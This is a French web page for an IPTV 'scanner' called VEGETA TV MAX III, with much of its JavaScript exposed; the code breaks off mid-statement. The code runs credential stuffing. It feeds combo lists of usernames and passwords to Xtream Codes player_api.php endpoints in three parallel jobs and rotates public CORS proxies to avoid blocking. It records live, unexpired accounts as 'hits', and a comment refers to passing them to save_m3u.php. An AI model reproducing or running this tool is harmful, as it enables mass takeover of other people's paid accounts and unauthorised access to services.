Menu principal

VEGETA TV
MAX III

Choisissez ce que vous voulez faire avant d’ouvrir l’outil. Le scan, l’analyse M3U et la recherche de domaines miroirs sont maintenant séparés.

Vous pouvez revenir à cet accueil depuis chaque page avec le bouton “Accueil”.

Analyse M3U

Lien M3U

Collez votre lien M3U pour vérifier s’il répond, voir son statut, sa date d’expiration et récupérer les catégories disponibles.

Utiliser le proxy CORS si le serveur bloque la lecture directe

Mirror Magic

Domaines
Miroirs

Collez un lien M3U pour retrouver les domaines qui partagent la même IP, puis valider les miroirs avec les catégories du compte. Vous pouvez aussi coller un domaine simple pour faire uniquement la recherche reverse IP.

Utiliser le proxy CORS

Scanner

VEGETA TVMAX IIIV3

0,00%
0,00%
0,00%
SERVER STATUS
Server: -
Status IDLE
Hits trouvés: 0 0,00%
`; } function syncServerStatusPip(){ try{ if(serverStatusPipWindow && !serverStatusPipWindow.closed){ const pipDoc = serverStatusPipWindow.document; const target = pipDoc.getElementById('serverStatusWidget'); if(target && serverStatusWidget){ target.innerHTML = serverStatusWidget.innerHTML; target.className = 'server-widget-visible server-widget-show-hits'; } } }catch(_){ serverStatusPipWindow = null; } drawServerStatusVideoPip(); updateServerStatusPipButtonState(); } async function openDocumentServerStatusPip(){ const pipWin = await window.documentPictureInPicture.requestWindow({ width: 380, height: 170, preferInitialWindowPlacement: true }); serverStatusPipWindow = pipWin; pipWin.document.open(); pipWin.document.write(serverStatusPipHtml()); pipWin.document.close(); pipWin.addEventListener('pagehide', ()=>{ serverStatusPipWindow = null; updateServerStatusPipButtonState(); }); syncServerStatusPip(); } function stopServerStatusVideoPipTimer(){ if(serverStatusPipDrawTimer){ clearInterval(serverStatusPipDrawTimer); serverStatusPipDrawTimer = null; } } function statusCanvasColor(statusClass){ switch(statusClass){ case 'status-online': return '#22c55e'; case 'status-protected': return '#eab308'; case 'status-redirect': case 'status-client': return '#38bdf8'; case 'status-server': case 'status-timeout': return '#f97373'; default: return '#9ca3af'; } } function drawRoundRect(ctx, x, y, w, h, r){ const radius = Math.min(r, w / 2, h / 2); ctx.beginPath(); ctx.moveTo(x + radius, y); ctx.arcTo(x + w, y, x + w, y + h, radius); ctx.arcTo(x + w, y + h, x, y + h, radius); ctx.arcTo(x, y + h, x, y, radius); ctx.arcTo(x, y, x + w, y, radius); ctx.closePath(); } function fitText(ctx, text, maxWidth){ let out = String(text || ''); while(out.length > 1 && ctx.measureText(out).width > maxWidth){ out = out.slice(0, -2) + '…'; } return out; } function drawServerStatusVideoPip(){ if(!serverStatusPipCtx || !serverStatusPipCanvas) return; const ctx = serverStatusPipCtx; const snap = serverStatusSnapshot(); const w = serverStatusPipCanvas.width; const h = serverStatusPipCanvas.height; ctx.clearRect(0, 0, w, h); ctx.fillStyle = '#050505'; ctx.fillRect(0, 0, w, h); drawRoundRect(ctx, 20, 22, w - 40, h - 44, 28); ctx.fillStyle = 'rgba(0,0,0,0.94)'; ctx.fill(); ctx.lineWidth = 3; ctx.strokeStyle = 'rgba(34,211,238,.85)'; ctx.stroke(); ctx.font = '700 24px Orbitron, monospace'; ctx.fillStyle = '#22d3ee'; ctx.fillText(fitText(ctx, snap.title, w - 84), 42, 65); ctx.font = '18px Orbitron, monospace'; ctx.fillStyle = '#a5b4fc'; ctx.fillText(fitText(ctx, `${snap.hostLabel}: ${snap.host}`, w - 84), 42, 105); ctx.font = '20px Orbitron, monospace'; ctx.fillStyle = '#e5e7eb'; const prefix = `${snap.statusLabel} ➤ `; ctx.fillText(prefix, 42, 150); const offset = ctx.measureText(prefix).width; ctx.fillStyle = statusCanvasColor(snap.statusClass); ctx.fillText(fitText(ctx, snap.status, w - 84 - offset), 42 + offset, 150); ctx.font = '20px Orbitron, monospace'; ctx.fillStyle = '#e5e7eb'; const hitsPrefix = `${snap.hitsLabel}: `; ctx.fillText(hitsPrefix, 42, 192); const hitsOffset = ctx.measureText(hitsPrefix).width; ctx.fillStyle = '#facc15'; ctx.fillText(String(snap.hits), 42 + hitsOffset, 192); const hitsWidth = ctx.measureText(String(snap.hits)).width; ctx.fillStyle = '#64748b'; ctx.fillText(' • ', 42 + hitsOffset + hitsWidth + 8, 192); const sepWidth = ctx.measureText(' • ').width; ctx.fillStyle = '#22d3ee'; ctx.fillText(String(snap.progress || '0,00%'), 42 + hitsOffset + hitsWidth + 8 + sepWidth, 192); } async function openVideoServerStatusPip(){ if(!document.pictureInPictureEnabled || !HTMLVideoElement.prototype.requestPictureInPicture){ throw new Error('video-pip-unsupported'); } if(!serverStatusPipCanvas){ serverStatusPipCanvas = document.createElement('canvas'); serverStatusPipCanvas.width = 640; serverStatusPipCanvas.height = 240; serverStatusPipCtx = serverStatusPipCanvas.getContext('2d'); } drawServerStatusVideoPip(); if(!serverStatusPipVideo){ serverStatusPipVideo = document.createElement('video'); serverStatusPipVideo.muted = true; serverStatusPipVideo.playsInline = true; serverStatusPipVideo.setAttribute('playsinline', ''); serverStatusPipVideo.style.cssText = 'position:fixed;left:-9999px;top:-9999px;width:1px;height:1px;opacity:0;pointer-events:none;'; document.body.appendChild(serverStatusPipVideo); serverStatusPipVideo.addEventListener('leavepictureinpicture', ()=>{ stopServerStatusVideoPipTimer(); updateServerStatusPipButtonState(); }); } const stream = serverStatusPipCanvas.captureStream ? serverStatusPipCanvas.captureStream(2) : null; if(!stream) throw new Error('canvas-capture-unsupported'); serverStatusPipVideo.srcObject = stream; await serverStatusPipVideo.play(); await serverStatusPipVideo.requestPictureInPicture(); stopServerStatusVideoPipTimer(); serverStatusPipDrawTimer = setInterval(drawServerStatusVideoPip, 500); updateServerStatusPipButtonState(); } async function openServerStatusPip(){ try{ /* PiP propre du panneau serveur : - Chrome / Android WebView compatible : rendu canvas/video PiP. - On n utilise pas le PiP Android natif, car il compresse toute la WebView. */ if(serverStatusPipWindow && !serverStatusPipWindow.closed){ serverStatusPipWindow.focus(); return; } if( document.pictureInPictureElement && document.pictureInPictureElement === serverStatusPipVideo ){ return; } if( window.documentPictureInPicture && typeof window.documentPictureInPicture.requestWindow === "function" ){ await openDocumentServerStatusPip(); return; } await openVideoServerStatusPip(); }catch(err){ try{ console.warn("Server status PiP failed:", err); }catch(_){} alert(t("pipUnsupported") || "Picture-in-Picture is not supported by this browser."); }finally{ syncServerStatusPip(); } } window.addEventListener('pagehide', ()=>{ stopServerStatusVideoPipTimer(); if(serverStatusPipWindow && !serverStatusPipWindow.closed){ try{ serverStatusPipWindow.close(); }catch(_){ } } }); // Barres + "utilisateur actuel" par Job const progressBarFill = $('progressBarFill'), progressText = $('progressText'), currentCombo = $('currentCombo'); const progressBarFill2 = $('progressBarFill2'), progressText2 = $('progressText2'), currentCombo2 = $('currentCombo2'); const progressBarFill3 = $('progressBarFill3'), progressText3 = $('progressText3'), currentCombo3 = $('currentCombo3'); const progressContainer1 = $('progressContainer'); const progressContainer2El = $('progressContainer2'); const progressContainer3El = $('progressContainer3'); function hideScanJobPanels(){ [progressContainer1, progressContainer2El, progressContainer3El].forEach(el => { if(el) el.classList.add('scan-job-hidden'); }); } function showOnlyScanJobPanels(jobIds){ const active = new Set((jobIds || []).map(Number)); let visibleIndex = 0; [ [1, progressContainer1], [2, progressContainer2El], [3, progressContainer3El] ].forEach(([id, el]) => { if(!el) return; const shouldShow = active.has(id); if(!shouldShow){ el.classList.remove('scan-job-opening'); el.style.animationDelay = ''; el.classList.add('scan-job-hidden'); return; } const wasHidden = el.classList.contains('scan-job-hidden'); el.classList.remove('scan-job-hidden'); if(wasHidden){ el.classList.remove('scan-job-opening'); void el.offsetWidth; el.style.animationDelay = `${visibleIndex * 90}ms`; el.classList.add('scan-job-opening'); window.setTimeout(() => { el.classList.remove('scan-job-opening'); el.style.animationDelay = ''; }, 850 + visibleIndex * 90); } visibleIndex++; }); } function getActiveScanJobIdsForStart(){ const ids = []; // Le texte collé est traité dans le cadran 1. if(combos1.length || combosTxt.length) ids.push(1); if(combos2.length) ids.push(2); if(combos3.length) ids.push(3); return ids; } hideScanJobPanels(); const comboFile1 = $('comboFile1'), comboFile2 = $('comboFile2'), comboFile3 = $('comboFile3'); const comboText = $('comboText'); const lblHost = $('lblHost'), lblCombo = $('lblCombo'), lblConc = $('lblConc'); const lblUseCors = $('lblUseCors'), lblSound = $('lblSound'), lblAutoDL = $('lblAutoDL'); const lblComboText = $('lblComboText'); const footerMade = $('footerMade'); if(langSelect){ langSelect.value = LANG; } document.documentElement.setAttribute('lang', LANG); // === État général === let isRunning = false; let stopRequested = false; let serverIP = null, serverGeo = null; // 3 listes de combos let combos1 = [], combos2 = [], combos3 = []; // + (NOUVEAU) liste issue de la zone texte let combosTxt = []; // 🔄 Hits séparés par job const HITS = { 1: [], 2: [], 3: [] }; const SCAN_PROGRESS = { 1: { processed: 0, total: 0 }, 2: { processed: 0, total: 0 }, 3: { processed: 0, total: 0 } }; function getTotalHitsCount(){ return (HITS[1]?.length || 0) + (HITS[2]?.length || 0) + (HITS[3]?.length || 0); } function formatScanPercent(processed, total){ const p = Number(processed) || 0; const t = Number(total) || 0; const pct = t ? Math.max(0, Math.min(100, (p / t) * 100)) : 0; return pct.toFixed(2).replace('.', ',') + '%'; } function getScanProgressPercent(){ const processed = (SCAN_PROGRESS[1]?.processed || 0) + (SCAN_PROGRESS[2]?.processed || 0) + (SCAN_PROGRESS[3]?.processed || 0); const total = (SCAN_PROGRESS[1]?.total || 0) + (SCAN_PROGRESS[2]?.total || 0) + (SCAN_PROGRESS[3]?.total || 0); if(!total) return 0; return Math.max(0, Math.min(100, (processed / total) * 100)); } function getScanProgressText(){ const pct = getScanProgressPercent(); return pct.toFixed(2).replace('.', ',') + '%'; } function scanPercentEl(jobId){ if(jobId === 1) return scanPercent1; if(jobId === 2) return scanPercent2; if(jobId === 3) return scanPercent3; return null; } function updateScanJobPercent(jobId, processed, total){ const el = scanPercentEl(jobId); if(el) el.textContent = formatScanPercent(processed, total); } function resetScanProgress(){ for(const id of [1,2,3]){ SCAN_PROGRESS[id] = { processed: 0, total: 0 }; updateScanJobPercent(id, 0, 0); } updateServerStatusHits(); } function updateScanProgress(jobId, processed, total){ if(!SCAN_PROGRESS[jobId]) return; const cleanProcessed = Math.max(0, Number(processed) || 0); const cleanTotal = Math.max(0, Number(total) || 0); SCAN_PROGRESS[jobId] = { processed: cleanProcessed, total: cleanTotal }; updateScanJobPercent(jobId, cleanProcessed, cleanTotal); updateServerStatusHits(); } function updateServerStatusHits(){ if(serverStatusHitsLabelEl){ serverStatusHitsLabelEl.textContent = t('hitsFound') || 'Hits trouvés'; } if(serverStatusHitsEl){ serverStatusHitsEl.textContent = String(getTotalHitsCount()); } if(serverStatusProgressEl){ serverStatusProgressEl.textContent = getScanProgressText(); } if(serverStatusProgressSepEl){ serverStatusProgressSepEl.style.display = 'inline'; } updateServerStatusHitsVisibility(); syncServerStatusPip(); } function fetchTimeout(url, opts={}, ms=7000){ return new Promise((resolve, reject)=>{ const ctrl = new AbortController(); const id = setTimeout(()=>{ ctrl.abort(); reject(new Error('timeout')); }, ms); fetch(url, { ...opts, signal: ctrl.signal }) .then(r=>{ clearTimeout(id); resolve(r); }) .catch(e=>{ clearTimeout(id); reject(e); }); }); } let JOB_PROXIES = {}; // jobId -> template proxy CORS choisi const PROXY_FAILS = new Map(); // tpl -> { n, until } const PROXY_MAX_FAILS = 3; // après 3 échecs const PROXY_COOLDOWN_MS = 60_000; // on le met au frigo 60 s function proxyIsCold(tpl){ const s = PROXY_FAILS.get(tpl); return s && s.until && Date.now() < s.until; } function noteProxyFail(tpl){ const s = PROXY_FAILS.get(tpl) || { n:0, until:0 }; s.n++; if(s.n >= PROXY_MAX_FAILS){ s.until = Date.now() + PROXY_COOLDOWN_MS; s.n = 0; } PROXY_FAILS.set(tpl, s); } function noteProxyOk(tpl){ PROXY_FAILS.delete(tpl); } /* ===== Widget statut serveur (logique) ===== */ function currentServerStatusHost(){ if(!hostInput) return '—'; const raw = (hostInput.value || '').trim(); if(!raw) return '—'; let out = raw.replace(/^https?:\/\//i, '').replace(/\/.*$/, ''); return out || '—'; } function setServerStatusClass(cat){ if(!serverStatusTextEl) return; const all = [ 'status-online','status-protected','status-redirect', 'status-client','status-server','status-timeout', 'status-unknown','status-idle' ]; serverStatusTextEl.classList.remove(...all); serverStatusTextEl.classList.add(`status-${cat}`); } // cat: 'online','protected','redirect','client','server','timeout','unknown','idle' let lastServerStatus = { cat: 'idle', code: null, elapsedMs: null, via: '', ts: 0 }; function setServerStatus(cat, code, elapsedMs, via){ if(!serverStatusTextEl) return; const now = Date.now ? Date.now() : (new Date()).getTime(); // Lissage : limiter les mises à jour pour éviter le clignotement // et ne pas écraser un ONLINE récent par un petit timeout. if(cat !== 'idle' && lastServerStatus){ const lastTs = lastServerStatus.ts || 0; const deltaMs = now - lastTs; if(lastTs && deltaMs < 800){ // Trop rapproché, on ignore ce statut. return; } const lastCat = lastServerStatus.cat; const goodLast = (lastCat === 'online' || lastCat === 'protected' || lastCat === 'redirect'); const badNow = (cat === 'timeout' || cat === 'unknown'); if(goodLast && badNow && deltaMs < 10000){ // On garde l'état "bon" pendant ~10 secondes avant d'accepter un timeout/unknown. return; } } if(serverStatusHostEl){ serverStatusHostEl.textContent = currentServerStatusHost(); } let baseWord; const idleLabel = (typeof t === 'function' ? (t('serverStatusIdle') || 'IDLE') : 'IDLE'); switch(cat){ case 'online': baseWord = 'ONLINE'; break; case 'protected': baseWord = 'PROTECTED'; break; case 'redirect': baseWord = 'REDIRECT'; break; case 'client': baseWord = 'CLIENT ERROR'; break; case 'server': baseWord = 'SERVER ERROR'; break; case 'timeout': baseWord = 'TIMEOUT'; break; case 'idle': baseWord = idleLabel; break; default: baseWord = 'UNKNOWN'; cat = 'unknown'; } const codeStr = (typeof code === 'number' && isFinite(code)) ? code : '—'; const latStr = (typeof elapsedMs === 'number' && isFinite(elapsedMs)) ? `${Math.round(elapsedMs)} ms` : '—'; let textVal = `${baseWord} (${codeStr}, ${latStr})`; if(via) textVal += ` · ${via}`; // Évite les repaint inutiles qui peuvent donner un effet de clignotement sur mobile. if(serverStatusTextEl.textContent !== textVal){ serverStatusTextEl.textContent = textVal; } setServerStatusClass(cat); lastServerStatus = { cat, code: codeStr, elapsedMs: latStr, via: via || '', ts: now }; syncServerStatusPip(); } function resetServerStatus(){ setServerStatus('idle', null, null, ''); } function httpStatusCategory(code){ if(typeof code !== 'number' || !isFinite(code)) return 'unknown'; if(code >= 200 && code < 300) return 'online'; if(code === 401 || code === 403) return 'protected'; if(code >= 300 && code < 400) return 'redirect'; if(code >= 400 && code < 500) return 'client'; if(code >= 500) return 'server'; return 'unknown'; } /* ===== Langue ===== */ function setText(selector, value){ const el = document.querySelector(selector); if(el) el.textContent = value; } function setHtml(selector, value){ const el = document.querySelector(selector); if(el) el.innerHTML = value; } function setPlaceholder(selector, value){ const el = document.querySelector(selector); if(el) el.placeholder = value; } function updateSingleKickerTypingVars(kicker){ if(!kicker) return; const len = (kicker.textContent || '').trim().length || 1; const isScanKicker = kicker.matches('#scanPage .home-kicker'); const fallbackWidthCh = isScanKicker ? Math.max(len + 3.7, 10.7) : Math.max(len + 1, 7); kicker.style.setProperty('--kicker-steps', String(Math.max(len, 1))); // Mesure réelle du texte : évite que le dernier caractère soit coupé, // sans éloigner le curseur de typewriter. const previousAnimation = kicker.style.animation; const previousWidth = kicker.style.width; kicker.style.animation = 'none'; kicker.style.width = 'auto'; const measuredWidth = Math.ceil(Math.max(kicker.scrollWidth || 0, kicker.getBoundingClientRect().width || 0)); kicker.style.width = previousWidth; kicker.style.animation = previousAnimation; if(measuredWidth > 0){ kicker.style.setProperty('--kicker-width', `${measuredWidth + 14}px`); } else { kicker.style.setProperty('--kicker-width', `${fallbackWidthCh}ch`); } } function updateKickerTypingVars(){ document.querySelectorAll('.home-kicker').forEach(updateSingleKickerTypingVars); } function applyStaticPageLang(){ setText('#homePage .home-kicker', t('homeKicker')); setText('#homePage .home-subtitle', t('homeSubtitle')); setText('#goScanBtn strong', t('homeScanTitle')); setText('#goScanBtn span', t('homeScanDesc')); setText('#goM3UBtn strong', t('homeM3UTitle')); setText('#goM3UBtn span', t('homeM3UDesc')); setText('#goMirrorBtn strong', t('homeMirrorTitle')); setText('#goMirrorBtn span', t('homeMirrorDesc')); setText('#homePage .home-note', t('homeNote')); setText('#scanPage .home-kicker', t('scanKicker')); setText('#backHomeFromScan', t('backHome')); setPlaceholder('#comboText', t('comboTextPH')); setText('#m3uPage .home-kicker', t('m3uKicker')); setText('#m3uPage .home-title', t('m3uTitle')); setText('#m3uPage .home-subtitle', t('m3uSubtitle')); setText('label[for="m3uInput"]', t('m3uLabel')); setPlaceholder('#m3uInput', t('m3uPlaceholder')); setText('#m3uUseCors + span', t('m3uUseCorsLabel')); setText('#m3uAnalyzeBtn', t('m3uAnalyze')); setText('#m3uClearBtn', t('clear')); setText('#backHomeFromM3U', t('backHome')); setText('#mirrorPage .home-kicker', t('mirrorKicker')); setHtml('#mirrorPage .home-title', t('mirrorTitle')); setText('#mirrorPage .home-subtitle', t('mirrorSubtitle')); setText('label[for="mirrorInput"]', t('mirrorLabel')); setPlaceholder('#mirrorInput', t('mirrorPlaceholder')); setText('#mirrorUseCors + span', t('mirrorUseCorsLabel')); setText('#mirrorAnalyzeBtn', t('mirrorSearch')); setText('#mirrorClearBtn', t('clear')); setText('#mirrorSaveBtn', t('mirrorSave')); setText('#backHomeFromMirror', t('backHome')); setText('#vpnWarningTitle', t('vpnWarningTitle')); setText('#vpnWarningText', t('vpnWarningText')); setText('#vpnWarningOkBtn', t('vpnWarningOk')); updateKickerTypingVars(); } function applyLang(){ applyStaticPageLang(); lblHost.textContent = t('hostLabel'); hostInput.placeholder = t('hostPH'); lblCombo.textContent = t('comboLabel'); lblConc.textContent = t('concLabel'); lblUseCors.textContent = t('useCors'); lblSound.textContent = t('sound'); lblAutoDL.textContent = t('autoDL'); if(lblComboText) lblComboText.textContent = t('comboTextLabel'); startBtn.textContent = t('start'); stopBtn.textContent = t('stop'); saveBtn.textContent = t('save'); if(serverStatusPipBtn){ const pipLabel = t('serverStatusPipTitle') || 'Ouvrir le statut serveur en Picture-in-Picture'; serverStatusPipBtn.textContent = t('serverStatusPip') || '📌 PiP'; serverStatusPipBtn.title = pipLabel; serverStatusPipBtn.setAttribute('aria-label', pipLabel); } footerMade.textContent = t('footer'); // Libellés du widget de statut serveur if(serverStatusTitleEl) serverStatusTitleEl.textContent = t('serverStatusTitle') || 'SERVER STATUS'; if(serverStatusHostLabelEl) serverStatusHostLabelEl.textContent = t('serverStatusHostLabel') || 'Server'; if(serverStatusLabelEl) serverStatusLabelEl.textContent = t('status'); updateServerStatusHits(); if(!isRunning){ progressText.textContent = t('waiting'); currentCombo.textContent = `${t('currentUser')}: -`; progressText2.textContent = t('waiting'); currentCombo2.textContent = `${t('currentUser')}: -`; progressText3.textContent = t('waiting'); currentCombo3.textContent = `${t('currentUser')}: -`; // quand rien ne tourne, on remet le widget en attente resetServerStatus(); } // 🔄 3 compteurs de hits indépendants hitsCount1.innerHTML = `${t('hitsFound')}: ${HITS[1]?.length||0}`; hitsCount2.innerHTML = `${t('hitsFound')}: ${HITS[2]?.length||0}`; hitsCount3.innerHTML = `${t('hitsFound')}: ${HITS[3]?.length||0}`; updateScanJobPercent(1, SCAN_PROGRESS[1]?.processed || 0, SCAN_PROGRESS[1]?.total || 0); updateScanJobPercent(2, SCAN_PROGRESS[2]?.processed || 0, SCAN_PROGRESS[2]?.total || 0); updateScanJobPercent(3, SCAN_PROGRESS[3]?.processed || 0, SCAN_PROGRESS[3]?.total || 0); } langSelect.addEventListener('change', ()=>{ LANG = langSelect.value || 'en'; document.documentElement.setAttribute('lang', LANG); applyLang(); const visiblePage = document.querySelector('.app-page:not(.page-hidden)'); if(visiblePage) restartPageKickerAnimation(visiblePage); }); /* ===== Audio HIT (Web Audio) ===== */ let audioCtx=null; function unlockAudio(){ try{ if(audioCtx) return; const Ctx=window.AudioContext||window.webkitAudioContext; if(!Ctx) return; audioCtx=new Ctx(); const o=audioCtx.createOscillator(), g=audioCtx.createGain(); g.gain.value=0; o.connect(g); g.connect(audioCtx.destination); o.start(); o.stop(audioCtx.currentTime+0.01); }catch(_){} } function playHitSound(){ if(!soundToggle.checked || !audioCtx) return; try{ const o=audioCtx.createOscillator(), g=audioCtx.createGain(); o.type='sine'; o.frequency.setValueAtTime(880, audioCtx.currentTime); g.gain.setValueAtTime(0, audioCtx.currentTime); g.gain.linearRampToValueAtTime(0.22, audioCtx.currentTime+0.01); g.gain.exponentialRampToValueAtTime(0.0008, audioCtx.currentTime+0.18); o.connect(g); g.connect(audioCtx.destination); o.start(); o.stop(audioCtx.currentTime+0.2); if(navigator.vibrate) try{ navigator.vibrate(80); }catch(_){} }catch(_){} } function mirrorVibrateValidHit(){ if(navigator.vibrate) try{ navigator.vibrate(80); }catch(_){} } /* ===== Utilitaires ===== */ function limpiarHost(host){ return host.replace(/^https?:\/\//,'').trim(); } let serverStatusTimer = null; function clearServerStatusLoop(){ if(serverStatusTimer){ clearInterval(serverStatusTimer); serverStatusTimer = null; } } // Boucle dédiée qui "ping" le domaine directement, sans passer // par les requêtes du scan ni la rotation de proxy. function startServerStatusLoop(){ clearServerStatusLoop(); const raw = (hostInput && hostInput.value || '').trim(); if(!raw){ resetServerStatus(); return; } const host = limpiarHost(raw); if(!host){ resetServerStatus(); return; } const nowFn = (typeof performance !== 'undefined' && performance.now) ? () => performance.now() : () => Date.now(); async function doPing(){ // si le host a été vidé entre temps on arrête la boucle if(!hostInput || !hostInput.value){ clearServerStatusLoop(); resetServerStatus(); return; } if(serverStatusHostEl){ serverStatusHostEl.textContent = currentServerStatusHost(); } const protos = ['http://', 'https://']; for(let i=0; i{ setServerStatus('timeout', null, null, 'PING'); }); // puis toutes les 4 secondes serverStatusTimer = setInterval(()=>{ doPing().catch(()=>{ setServerStatus('timeout', null, null, 'PING'); }); }, 4000); } function uiFor(job){ if(job === 1) return { fill: progressBarFill, text: progressText, user: currentCombo, hitsCountEl: hitsCount1, percentEl: scanPercent1, hitsArr: HITS[1], jobId: 1 }; if(job === 2) return { fill: progressBarFill2, text: progressText2, user: currentCombo2, hitsCountEl: hitsCount2, percentEl: scanPercent2, hitsArr: HITS[2], jobId: 2 }; return { fill: progressBarFill3, text: progressText3, user: currentCombo3, hitsCountEl: hitsCount3, percentEl: scanPercent3, hitsArr: HITS[3], jobId: 3 }; } function actualizarProgresoJob(state, ui){ const { processed, total } = state; const pct = total===0 ? 0 : (processed/total)*100; if(ui && ui.jobId){ updateScanProgress(ui.jobId, processed, total); } if(ui.fill) ui.fill.style.width = pct + '%'; if(ui.percentEl) ui.percentEl.textContent = formatScanPercent(processed, total); if(ui.text) ui.text.textContent = `${t('processed')}: ${processed} / ${total} | ${t('hitsFound')}: ${ui.hitsArr.length}`; if(ui.hitsCountEl) ui.hitsCountEl.innerHTML = `${t('hitsFound')}: ${ui.hitsArr.length}`; updateServerStatusHits(); } // Centralise l’état du bouton Start (host + au moins 1 source) function updateStartState(){ const hasHost = !!hostInput.value.trim(); const hasAnyCombos = (combos1.length || combos2.length || combos3.length || combosTxt.length); startBtn.disabled = !(hasHost && hasAnyCombos); } async function resolveIP(domain){ try{ const clean = domain.split(':')[0]; if(/^\d+\.\d+\.\d+\.\d+$/.test(clean)) return clean; const res = await fetch(`https://dns.google/resolve?name=${clean}&type=A`); if(!res.ok) return null; const data = await res.json(); return data.Answer?.find(a=>a.type===1)?.data || null; }catch{ return null; } } async function fetchGeo(ip){ try{ const res = await fetch(`http://ip-api.com/json/${ip}?fields=status,country,countryCode,city`); if(!res.ok) return null; const data=await res.json(); if(data.status!=='success') return null; return { ip, country:data.country||t('none'), city:data.city||t('none'), flag:flagEmoji(data.countryCode||'UN') }; }catch{ return null; } } function flagEmoji(cc){ return cc.toUpperCase().replace(/./g,c=>String.fromCodePoint(127397+c.charCodeAt())); } /* ===== Réseau (timeout + proxy CORS) ===== */ async function fetchTimeout(resource, options={}){ const {timeout=6000}=options; // V6 gardait 6s const controller=new AbortController(); const id=setTimeout(()=>controller.abort(), timeout); try{ const res=await fetch(resource,{...options,signal:controller.signal}); clearTimeout(id); return res; } catch(e){ clearTimeout(id); throw e; } } const CORS_PROXIES = [ // ✅ Les plus fiables (prioritaires) 'https://api.allorigins.win/raw?url={url}', 'https://api.cors.lol/?url={url}', 'https://proxy.corsfix.com/?url={url}', // ⚠️ Dev uniquement / limités 'https://corsproxy.io/?url={url}', // localhost/dev seulement (gratuit) 'https://thingproxy.freeboard.io/fetch/{url}', // 100Ko max, GET only ]; function proxify(tpl,targetUrl){ return tpl.includes('{url}') ? tpl.replace('{url}',encodeURIComponent(targetUrl)) : (tpl+targetUrl); } // ⚡ Proxy fixe par job AVEC repli si ça échoue // Proxy fixe par job + fallback (+ circuit breaker si défini) async function fetchWithCors(url, options = {}, jobId = null){ const baseOpts = { cache:'no-store', keepalive:false, ...options }; const nowFn = (typeof performance !== 'undefined' && performance.now) ? () => performance.now() : () => Date.now(); const markFromResponse = (resp, startedAt, viaLabel) => { if(!resp) return; const elapsed = nowFn() - startedAt; const code = (typeof resp.status === 'number') ? resp.status : null; const cat = httpStatusCategory(code); setServerStatus(cat, code, elapsed, viaLabel); }; const markTimeout = (viaLabel) => { setServerStatus('timeout', null, null, viaLabel); }; // 1) Proxy fixe du job (si défini et pas en cooldown) if(jobId && JOB_PROXIES[jobId]){ const fixedTpl = JOB_PROXIES[jobId]; if (!(typeof proxyIsCold === 'function' && proxyIsCold(fixedTpl))) { try{ const proxied = fixedTpl.replace('{url}', encodeURIComponent(url)); const startedAt = nowFn(); const r = await fetchTimeout(proxied, baseOpts); markFromResponse(r, startedAt, 'PROXY'); if(r && r.ok){ if(typeof noteProxyOk==='function') noteProxyOk(fixedTpl); return r; } if(typeof noteProxyFail==='function') noteProxyFail(fixedTpl); }catch(_){ markTimeout('PROXY'); if(typeof noteProxyFail==='function') noteProxyFail(fixedTpl); } } } // 2) Tentative directe (si CORS OK côté cible) try{ const startedAt = nowFn(); const r = await fetchTimeout(url, baseOpts); markFromResponse(r, startedAt, 'DIRECT'); if(r && r.ok) return r; }catch(e){ markTimeout('DIRECT'); if(!useCors.checked) throw e; // si CORS OFF, on ne proxifie pas } // 3) Rotation sur les autres proxys (exclut le proxy fixe du job et ceux en cooldown) const pool = (Array.isArray(CORS_PROXIES) ? [...CORS_PROXIES] : []).filter(tpl=>{ if(jobId && JOB_PROXIES[jobId] === tpl) return false; return !(typeof proxyIsCold==='function' && proxyIsCold(tpl)); }); for(const tpl of pool.sort(()=>Math.random()-0.5)){ try{ const proxied = tpl.replace('{url}', encodeURIComponent(url)); const startedAt = nowFn(); const r = await fetchTimeout(proxied, baseOpts); markFromResponse(r, startedAt, 'PROXY'); if(r && r.ok){ if(typeof noteProxyOk==='function') noteProxyOk(tpl); return r; } if(typeof noteProxyFail==='function') noteProxyFail(tpl); }catch(_){ markTimeout('PROXY'); if(typeof noteProxyFail==='function') noteProxyFail(tpl); } } throw new Error('Fetch failed'); } async function getJson(url, options = {}, jobId = null){ const r = await fetchWithCors(url, options, jobId); if(!r.ok) throw new Error('Bad'); return await r.json(); } /* ===== Affichage catégories ===== */ function summarizeCategories(cats, limit=40){ if(!Array.isArray(cats)||!cats.length) return `${t('categoriesRule')}\n• ${t('none')}`; const names = cats .map(c => (c && (c.category_name || c.name || c.title)) ? String(c.category_name || c.name || c.title).trim() : '') .filter(Boolean); if(!names.length) return `${t('categoriesRule')}\n• ${t('none')}`; const shown = names.slice(0, limit); let line = shown.join(' • '); if(names.length > limit){ const rest = names.length - limit; line += ` • … (+${rest} ${t('more')})`; } return `${t('categoriesRule')}\n${line}`; } /* ===== Parse permissif ===== */ // Normalise et extrait le 1er "user:pass" d'une ligne bruitée (emojis/espaces exotiques ok) function extractCombo(line){ if(!line) return null; let s = String(line).normalize('NFKC'); // normalise Unicode s = s.replace(/\s+/g,' ').trim(); const m = s.match(/([^:\s][^:\n\r]*)\s*:\s*([^:\s][^\n\r]*)/u); if(!m) return null; const user = m[1].trim(); const pass = m[2].trim(); if(!user || !pass) return null; return [user, pass]; } /* ===== Validation d'un combo (support UI par job) ===== */ async function validarCombo(host, combo, opts = {}, session = null, ui = null, jobId = null){ try{ if(stopRequested) return null; const pair = Array.isArray(combo) ? combo : extractCombo(combo); if(!pair) return null; const [user, pass] = pair; if(ui?.user){ ui.user.textContent = `${t('currentUser')}: ${user}:${pass}`; } const protos=['http://','https://']; let data=null, usedProto='http://'; for(const p of protos){ const url = `${p}${host}/player_api.php?username=${encodeURIComponent(user)}&password=${encodeURIComponent(pass)}`; try{ const res = await fetchWithCors(url, opts, jobId); if(res.ok){ data=await res.json(); usedProto=p; break; } }catch(_){} } if(!data) return null; const uinfo = data.user_info || {}; const ok = (uinfo.status===t('statusActive')) || String(uinfo.auth)==='1' || String(uinfo.auth).toLowerCase()==='true' || uinfo.status==='Active'; if(!ok) return null; // 🚫 M3U expiré : Days left négatif = M3U mort. // On ne l'affiche pas comme hit et on ne l'envoie pas à save_m3u.php. const expTs = Number(uinfo.exp_date || 0); if (expTs && Number.isFinite(expTs) && (expTs * 1000) < Date.now()) { return null; } let liveCats = []; let liveCatsText = `${t('categoriesRule')}\n• ${t('none')}`; try{ const catsUrl = `${usedProto}${host}/player_api.php?username=${encodeURIComponent(user)}&password=${encodeURIComponent(pass)}&action=get_live_categories`; liveCats = await getJson(catsUrl, opts, jobId); liveCatsText = summarizeCategories(liveCats, 40); }catch(_){} const porta = host.includes(':') ? host.split(':')[1] : (usedProto==='https://' ? '443' : '80'); const hostSem = host.includes(':') ? host.split(':')[0] : host; const creada = 